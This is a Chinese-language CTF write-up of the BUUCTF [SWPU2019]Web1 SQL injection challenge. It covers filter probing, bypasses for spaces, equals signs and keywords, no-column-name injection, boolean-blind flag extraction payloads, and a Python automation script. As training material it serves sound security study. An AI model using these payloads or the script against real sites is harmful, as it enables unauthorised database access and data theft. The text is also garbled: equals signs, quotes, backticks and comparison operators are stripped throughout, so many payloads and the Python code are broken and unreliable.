SQL注入绕过实战:从基础过滤到无列名注入的完整攻防解析
1. 项目概述与核心挑战最近在复盘一些经典的CTF题目特别是Web安全方向的发现很多朋友对SQL注入的绕过技巧掌握得还不够扎实往往知道原理但一到实战就卡壳。今天我们就来深度拆解一道非常经典的题目——BUUCTF平台上的[SWPU2019]Web1。这道题之所以经典是因为它几乎集合了SQL注入中常见的过滤与绕过场景从基础的联合查询到对关键函数、空格的过滤再到最后的无列名注入形成了一个完整的、递进式的学习路径。很多人在做到最后一步时会因为对无列名注入不熟悉而功亏一篑。我自己在第一次做这道题时也踩了不少坑尤其是在构造最后的布尔盲注Payload时对IF语句和位运算的结合使用琢磨了很久。通过这道题你不仅能巩固SQL注入的基础更能深刻理解“绕过”二字的精髓安全防护措施和攻击手法总是在动态博弈中不断进化的。这道题模拟了一个简单的广告发布页面核心漏洞点在于一个不起眼的广告列表查询功能。题目环境对常见的注入关键词进行了层层过滤我们的任务就是像“特工”一样利用各种“工具”和“技巧”绕过这些安检门最终拿到藏在数据库深处的flag。整个过程就像在解一个连环锁每一层过滤都是一把新锁我们需要找到对应的钥匙绕过方法。接下来我会带你从信息搜集开始一步步分析过滤规则并手把手演示如何构造最终的注入Payload其中会穿插大量我实战中总结的避坑经验和思维过程。2. 环境初探与信息搜集面对任何Web题目第一步永远是信息搜集盲目测试只会浪费时间。打开题目链接我们通常会看到一个功能相对简单的页面。对于[SWPU2019]Web1其主体是一个广告展示页可能存在搜索、查看详情等交互点。我们的切入点往往在这些与数据库有交互的地方。2.1 寻找注入点首先需要使用浏览器开发者工具F12查看网络请求或者直接观察页面URL和表单。常见的注入点包括GET参数如?id1POST参数如表单搜索框Cookie、User-Agent、X-Forwarded-For等HTTP头较少见但需有意识假设本题的注入点在类似于?id1的GET参数上。第一步就是验证是否存在注入漏洞。最经典的方法是使用逻辑真值测试。基础测试?id1页面正常显示某条广告。?id1 and 11如果页面依然正常说明and和可能未被过滤且存在注入。?id1 and 12如果页面内容消失或报错则进一步确认存在数字型注入。如果页面无变化则可能是字符型需要测试闭合符号?id1 and 11和?id1 and 12。注意在真实CTF或渗透测试中请务必在授权范围内进行。这里的所有操作均在靶场环境完成。实操心得很多新手会忽略这一步直接上工具或复杂Payload。手动进行基础测试有两个好处一是建立对目标漏洞的“手感”二是能最早发现一些基础的过滤规则比如空格是否被过滤。我习惯在Burp Suite的Repeater模块里做这些测试方便观察和对比HTTP响应。2.2 判断注入类型与初步过滤探测经过测试我们可能发现and、or、空格等关键词被拦截了。页面可能返回统一的错误信息或者直接空白。这时我们需要系统地探测过滤规则。常用探测Payload?id1(基准)?id1 and 11(测试and和空格)?id1 aandnd 11(测试是否简单替换and为空)?id1%0aand%0a11(测试换行符%0a能否替代空格)?id1/**/and/**/11(测试注释符/**/能否替代空格)?id1(测试单引号闭合与报错)对于本题[SWPU2019]Web1经典的特征是它过滤了空格、*、等字符但and和or关键词本身可能没被过滤。这意味着我们不能使用and 11这种带有空格和等号的经典判断语句。绕过思路1使用注释符代替空格在MySQL中/**/是内联注释在大多数情况下可以被当作空格使用。所以1 and 11可以尝试写成1/**/and/**/11。但如果*也被过滤了此路不通。绕过思路2使用其他空白符代替空格MySQL中除了空格( )以下字符通常也能起到分隔作用换行符%0a,%0d制表符%09括号()有时可以用于包裹我们可以尝试?id1%0aand%0a1%0a1。但这里又遇到了被过滤的问题。绕过思路3使用like、rlike、regexp或代替当等号被过滤时我们可以用其他比较操作符。11可以改写为1 like 112可以改写为1 like 2或11(不等于) 因此测试Payload可以进化為?id1%0aand%0a1%0alike%0a1。如果这个Payload返回正常页面而1 like 2返回异常那么恭喜我们不仅确认了注入还初步找到了绕过空格和等号过滤的方法。3. 核心过滤规则分析与绕过策略制定通过初步探测我们对题目的过滤规则有了模糊的认识。现在需要更系统地进行测试以绘制出完整的“过滤黑名单”。这一步是后续所有Payload构造的基础必须严谨。3.1 系统化测试过滤字符我们可以设计一个测试脚本或者手动在Burp Suite的Intruder模块中对常见SQL注入字符进行fuzz测试。测试列表应包括空格 单引号‘ 双引号“ 逗号, 等号 大于 小于 括号() 星号* 点号. 分号; 注释符# -- /* */ 关键字union, select, from, where, order by, group by, limit, having, and, or, not, like, rlike, regexp, in, exists, ascii, substr, mid, left, right, length, count, concat, group_concat, sleep, benchmark, if, case when, information_schema测试方法将原始参数如id1与测试字符拼接观察响应是否与基准响应id1有显著差异如长度不同、包含错误关键词等。对于本题经过测试我们可能会得出以下结论这是该题的经典过滤设置空格被过滤不能使用任何形式的空白字符包括%0a,%09,%0d等但可以使用括号()进行局部绕过。等号被过滤比较操作必须使用like、rlike、regexp或。星号*被过滤导致/**/注释符无法使用。部分关键词被过滤如union、select、from、where等但过滤方式可能是大小写敏感或简单匹配这留给了我们绕过的机会。information_schema被过滤这意味着我们无法通过这个系统数据库来获取表名和列名这是本题最大的难点将我们引向“无列名注入”。3.2 针对性绕过技术详解基于以上规则我们逐一制定绕过策略。3.2.1 绕过空格过滤巧用括号与注释既然所有空白符都被过滤我们需要寻找不需要空格也能正确解析的SQL语法。在函数名和参数之间select(1)是合法的等同于select 1。我们可以利用这一点将union select 1,2,3尝试改写为union(select(1),2,3)。但注意union和select本身可能被过滤。在查询的更多部分from(table_name)也是可行的。关键在于将原本由空格分隔的语法单元用括号包裹成一个整体或参数列表。3.2.2 绕过等号过滤使用like进行布尔判断用于比较我们可以用like完全替代。在布尔盲注中substr(database(),1,1)a可以写成substr(database(),1,1)likea。注意like后面紧跟的值如果是字符串依然需要引号。3.2.3 绕过关键词过滤大小写、双写、等价替换大小写绕过如果过滤是大小写敏感的如正则/union/i则UnIoN、UNION可能被拦截但UnIoN可能绕过简单的str_replace。本题通常过滤了所有大小写变种。双写绕过如果过滤是简单的字符串替换如str_replace(union, , $input)那么输入ununionion经过替换后中间的union被移除两边的字符拼起来又形成了union。需要测试union、select等关键词是否适用此规则。等价关键词/函数替换mid()可以代替substr()limit 1,1可以用limit 1 offset 1绕过对逗号的过滤但本题逗号可能可用。当information_schema被禁我们需要使用mysql.innodb_table_stats等替代方案来猜解表名或者直接进行无列名注入。3.2.4 应对information_schema缺失无列名注入这是本题最核心的考点。通常我们通过information_schema.columns查询列名。当此路不通时无列名注入就派上用场了。 原理通过union select将我们可控的数据插入查询结果集然后通过别名或子查询来访问这些数据。 假设原查询返回3列我们构造union select 1,2,3那么结果集中第2、3列的值就是我们可控的2和3。 更进一步我们可以union select 1,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),3但这里information_schema被过滤。因此我们需要先通过其他方式如暴力猜解、错误注入报出表名知道一个表名假设为users然后通过无列名注入获取其数据。 假设我们猜出users表有id,username,password三列。传统方法是union select id,username,password from users。无列名注入则不需要知道列名union select 1,(select 2 from (select 1,2,3 union select * from users)a limit 1,1),3解释子查询(select 1,2,3 union select * from users)a创建了一个临时表a其第一行是我们定义的1,2,3后续行是users表的所有内容。这个临时表a的列名第一列是1第二列是2第三列是3由我们select 1,2,3定义。select2from ...就是从临时表a中选取名为2的列即第二列的数据。limit 1,1跳过第一行我们定义的1,2,3取第二行即users表的第一行第二列数据。通过改变limit的参数和选取的列名2或3我们可以逐行逐列地读出整个users表的数据而无需知道其原始列名。4. 完整注入利用链实战拆解理论清晰后我们开始实战拼接整个利用链。目标获取数据库名、表名、列名或绕过、最终拿到flag。4.1 第一步确认字段数Order By绕过在联合查询注入前必须知道原查询的字段数。通常使用order by递增数字直到报错。原始Payload?id1 order by 1,order by 2,order by 3...绕过构造order和by可能被过滤空格和逗号也可能被过滤。绕过空格尝试用括号包裹数字order(by(1))不order by是一个整体。更常见的做法是直接测试?id1/**/order/**/by/**/1但本题空格和*都被过滤。本题的巧妙解法由于可以使用union select我们可以通过不断递增union select后面的字段数来测试直到页面正常回显。例如?id-1 union(select(1),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)。 这里将id设为负值或一个不存在的值使前半部分查询无结果从而直接显示我们union select的结果。通过观察页面哪个数字被显示出来比如页面显示了2和3我们可以判断字段数同时找到回显点。假设我们测试发现union(select(1),2,3)时页面正常且数字2和3的位置显示了内容而union(select(1),2,3,4)报错那么字段数就是3且第2、3列是回显点。4.2 第二步获取数据库名与表名绕过information_schema由于information_schema被禁我们需要另辟蹊径。方法A暴力猜解表名利用union select和like进行布尔盲注猜解表名。这需要编写脚本但原理简单。 Payload模板?id-1 union(select(1),(select(database())),3)可能直接回显数据库名。如果被过滤则用子查询。 如果database()被过滤可以尝试?id-1 union(select(1,(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name)like(database())),3))注意mysql.innodb_table_stats存储的是InnoDB表的统计信息并非所有表都会在这里尤其是题目自定义的非InnoDB表或新建表。因此这个方法不一定奏效。方法B利用错误注入报出信息如果开启错误回显如果网站开启了SQL错误回显可以尝试使用updatexml()或extractvalue()函数进行报错注入。 Payload模板?id1 and updatexml(1,concat(0x7e,(select(database())),0x7e),1)但需要绕过空格和等号?id1%0aand%0aupdatexml(1,concat(0x7e,(select(database())),0x7e),1)。如果and和空格被过滤构造会非常复杂可能需要用||或代替and并用括号调整优先级。本题的常见情况经过测试可能会发现database()可以直接回显或者通过简单的union select 1,database(),3就能在回显点看到数据库名例如web1。同时通过类似union select 1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),3的Payload被拦截证实了information_schema被过滤。那么如何获取表名可能需要结合布尔盲注和已知的替代路径。但更经典的解法是题目设计者可能留下了一个“提示”表或flag表其表名可以通过常见字典如flag, f1ag, secrets, here_is_flag猜解到。或者在之前的步骤中通过错误信息已经泄露了部分表名。假设我们通过某种方式如题目描述、其他页面的提示、暴力猜解知道了存在一个名为flag的表。4.3 第三步无列名注入获取Flag内容现在我们知道数据库名web1表名flag但不知道列名且information_schema不可用。这就是无列名注入的舞台。4.3.1 构造无列名注入Payload我们的目标是从flag表中读取数据。假设原查询字段数是3第2、3列可回显。构造基础Payload探测表内数据?id-1 union(select(1),(select(group_concat(2))from(select(1),2,3 union(select(*)from(flag))a)),3)拆解union(select(1),(...),3)联合查询1和3占位中间部分是我们想要回显的数据。中间部分(select(group_concat(2))from(...)a)子查询(select(1),2,3 union(select(*)from(flag))a)select(1),2,3定义一个有3列的临时结果集列名分别为1,2,3。union select(*)from(flag)将flag表的所有行合并到上面。最终这个子查询结果被命名为别名a。a表的结构是第一列名为1第二列名为2第三列名为3。外层select(group_concat(2))from(...)a从a表中选择所有行的2列即第二列并用group_concat合并成一个字符串。limit子句为了逐行读取我们可以在外层选择语句后加上limit。例如limit 0,1取第一行limit 1,1取第二行。但是这个Payload里有几个问题*可能被过滤。逗号,可能被过滤在limit和group_concat参数中。4.3.2 处理逗号过滤如果逗号被过滤将是雪上加霜。我们需要找到替代方案limit 0,1可以改写为limit 1 offset 0。这样就用offset关键字替代了逗号。substr(str,1,1)可以改写为substr(str from 1 for 1)。这是substr函数的另一种语法。group_concat(column)无法避免逗号但如果我们不用group_concat而是逐位读取就可以避免。这正是我们接下来要做的布尔盲注。4.3.3 最终Payload基于布尔盲注的无列名注入由于直接回显所有数据的Payload可能因为*或group_concat被过滤而失败我们退而求其次采用布尔盲注一位一位地猜解flag。 思路猜解flag表第一行第一列数据的第一个字符。利用union创建一个临时表a包含flag表数据。通过select1from a limit 1选取第一列数据因为我们不知道列名用我们定义的1作为列名。结合substr和like判断字符。构造Payload我们需要判断flag表第一行第一列的第一个字符是否是f假设flag格式为flag{xxx}。?id1 union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(1)from(alias)limit(0)offset(0))from(1)for(1))like(f))),3)逐层拆解从内到外最内层子查询(select(1),2,3 union select(*)from(flag))a创建临时表a列名为1,2,3数据包含flag表所有行。如果*被过滤这里会失败。可能需要明确列数如select col1,col2,col3 from flag但我们不知道列名。如果知道列数例如也是3列可以尝试select 1,2,3 from flag这会把flag表每行的所有列都变成1,2,3丢失数据。此路不通。因此*必须可用或者题目设计时flag表只有一列这样select *就是选择唯一的一列。这是本题的关键简化点通常flag表只有一个flag列。那么select * from flag就是选择这一列数据。临时表a只有一列数据来自flag表但我们用select(1),2,3定义了3列所以a表实际上有3列第一列是flag数据因为union要求列数一致flag表的一列数据会对齐到第一列第二、三列是2和3。所以flag数据在a表的1列。中间层(select(1)from(a)limit(0)offset(0))从a表中选择1列的数据。limit 0 offset 0等价于limit 0,1取第一行。用offset绕过可能的逗号过滤。字符截取substr((...))from(1)for(1))截取上面查询结果的第1个字符。使用substr(str from pos for len)语法绕过逗号。布尔判断... like(f)判断截取的字符是否像f。如果为真整个where子句成立那么select(1)from(...)where(...)会返回1。如果为假where子句不成立该select查询结果为空。外层union selectunion(select(1),(select(1)from(...)where(...)),3)如果内层where成立则select(1)返回1最终页面回显点第2列会显示数字1。如果内层where不成立则select(1)结果为空最终回显点可能显示为空或其他默认值。通过观察页面回显点是否有1即可判断字符猜解是否正确。简化后的实战Payload假设flag表仅一列且列名未知为了清晰我们一步步构造并处理所有过滤原查询?id1闭合与联合?id-1 union选择字段union(select(1),2,3)嵌入盲注子查询将2替换为我们的盲注逻辑。 最终一个测试第一个字符是否为f的Payload可能长这样?id-1 union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(1)from(a)limit(1)offset(0))from(1)for(1))like(0x66))),3)--解释与技巧-1使前一个查询无结果并闭合可能的引号。0x66是字符f的十六进制避免使用引号如果引号也被过滤。--注释掉后续SQL避免语法错误。如果页面在回显点2的位置显示了1说明第一个字符是f。然后我们修改substr的from和for参数以及like的值即可逐位猜解出完整的flag。5. 常见问题、调试技巧与自动化脚本在实际操作中你一定会遇到各种意想不到的问题。下面是我在多次实战中总结的排查清单和技巧。5.1 常见问题排查表问题现象可能原因排查思路与解决方案页面返回统一错误页或空白1. 关键词被过滤。2. 语法错误导致查询失败。3. 有WAF拦截。1. 用极简Payload测试如?id1和?id1确认基础注入点。2. 逐个添加SQL元素如and、空格、11定位被过滤点。3. 尝试使用不同编码、注释符、空白符绕过。union select后页面无变化不回显数字1. 字段数不对。2.union或select被过滤。3. 前后查询类型不一致如字符型 vs 数字型。1. 增加union select后的字段数直到页面再次报错或正常。2. 测试union和select的大小写、双写变体。3. 检查id参数闭合数字型无需引号字符型需闭合引号并注释。无列名注入Payload执行后报错或返回空1. 临时表列名引用错误。2.limit offset语法错误。3.*被过滤。4. 目标表列数与我们定义的(1),2,3列数不一致。1. 确认flag表列数。可通过order by或递增union select字段数直到与select * from flag匹配。2. 如果*被过滤且知道列数如1列可尝试select(1)from(flag)但这样数据会变成1。必须用*或真实列名。3. 仔细检查反引号的使用在列名是数字时必须加反引号。布尔盲注判断不准页面状态无区别1. 盲注逻辑为假时子查询返回空导致外层union select的对应字段为NULL页面可能显示空白与显示1有区别。2. 网站有统一错误处理真/假都返回相同页面。1. 使用length()函数判断响应内容长度差异而不仅仅是看内容。2. 使用时间盲注if(condition,sleep(5),1)但sleep可能被过滤。3. 检查where子句逻辑确保条件为假时子查询确实返回空集。5.2 手工调试与Burp Suite技巧使用Burp Suite的Repeater这是你的主战场。将测试Payload发送到Repeater可以方便地修改、重放、对比响应。重点关注响应长度Length和响应体中关键位置的内容。对比响应始终有一个“基准响应”如?id1。将注入Payload的响应与基准响应进行差异对比。Burp Suite的Comparer工具非常有用可以高亮显示HTML内容的差异。逐步构造不要试图一次性写出最终Payload。从最简单的?id1开始逐步添加union、select、括号、子查询等。每加一步都观察响应是否如预期。如果出错回退一步思考原因。利用错误信息如果网站开启了SQL错误回显充分利用它。错误信息往往会透露数据库结构、过滤规则等关键信息。故意构造错误语法如不匹配的括号、未知函数可能诱使数据库报错。5.3 自动化脚本编写思路对于布尔盲注手工一位位猜解是不现实的必须编写脚本。这里给出一个Python脚本的核心逻辑框架使用requests库。import requests import time url http://your_target_url/index.php headers {User-Agent: Mozilla/5.0} # 假设我们已经知道最终的Payload模板其中{pos}代表字符位置{char}代表猜测的字符 payload_template -1 union(select(1),(select(1)from(select(1),2,3 union(select(*)from(flag))a where(substr((select(1)from(a)limit(1)offset(0))from({pos})for(1))like({char}))),3)-- def check(payload): 发送Payload检查页面中是否包含成功标志例如回显点有1 params {id: payload} try: r requests.get(url, paramsparams, headersheaders, timeout5) # 这里需要根据实际情况确定判断成功的条件 # 例如如果成功时页面包含特定的字符串或数字 if something_that_indicates_true in r.text: # 替换为实际的成功标识 return True else: return False except Exception as e: print(f请求失败: {e}) return False def blind_injection(): flag chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-! # 可能的字符集 pos 1 while True: found_char None for char in chars: # 将字符转换为十六进制避免引号 hex_char f0x{ord(char):02x} # 构造Payload payload payload_template.format(pospos, charhex_char) print(fTesting pos {pos}: char {char} - {payload[:50]}...) if check(payload): found_char char flag char print(f[] Found: {flag}) break time.sleep(0.1) # 避免请求过快 if found_char is None: print(f[-] No char found at position {pos}. Maybe end of flag.) break pos 1 print(f[*] Final flag: {flag}) if __name__ __main__: blind_injection()脚本关键点check()函数这是核心必须根据题目实际情况编写。成功条件可能是响应中包含数字1或者响应长度与失败时不同。你需要先手动测试两个Payload一个为真一个为假确定页面差异点然后让脚本去判断这个差异。payload_template需要你根据前面分析构造出最终的、可用的布尔盲注Payload模板。chars定义flag可能包含的字符集可以根据常见flag格式调整。速率控制time.sleep()避免请求过快被屏蔽。6. 总结与思维提升通过这道[SWPU2019]Web1我们完成了一次完整的、高强度的SQL注入绕过训练。从最初的注入点探测到层层剥离过滤规则最后运用无列名注入技术获取flag每一步都考验着对SQL语法和数据库特性的理解。这道题给我最深的体会是绕过没有银弹核心在于对“规则”的理解和“语法”的灵活运用。防火墙过滤空格我们就用括号过滤等号我们就用like过滤information_schema我们就用无列名注入。攻击者的武器库是丰富的关键在于你是否了解每一件武器的用途。对于想深入Web安全的朋友我建议夯实SQL基础不仅仅是select * from table更要理解各种连接查询、子查询、联合查询、内置函数的用法和特性。MySQL、PostgreSQL、SQLite的语法差异也要了解。建立绕过思维库将常见的过滤场景空格、引号、逗号、关键词、注释符和对应的绕过方法整理成笔记。例如绕过空格有/**/、%0a、()、在某些DBMS中等多种方式。善用工具但不依赖工具Sqlmap很强大但在复杂的过滤环境下往往失灵。手工注入能力能帮你理解原理调试Payload。两者结合先用手工理清思路和过滤规则再用Sqlmap的--tamper脚本尝试自动化。关注新型漏洞与技巧安全领域日新月异新的数据库特性、框架行为都可能引入新的注入点或绕过方式。多打靶场如BUUCTF、DVWA、SQLi-Labs多阅读国内外安全研究文章保持学习。最后在实战中耐心和细心往往比技术更重要。一个括号的缺失、一个反引号的位置都可能导致整个Payload失败。就像解这道题一样静下心来一步步分析一层层绕过最终拿到flag的那一刻所有的调试和思考都是值得的。

相关新闻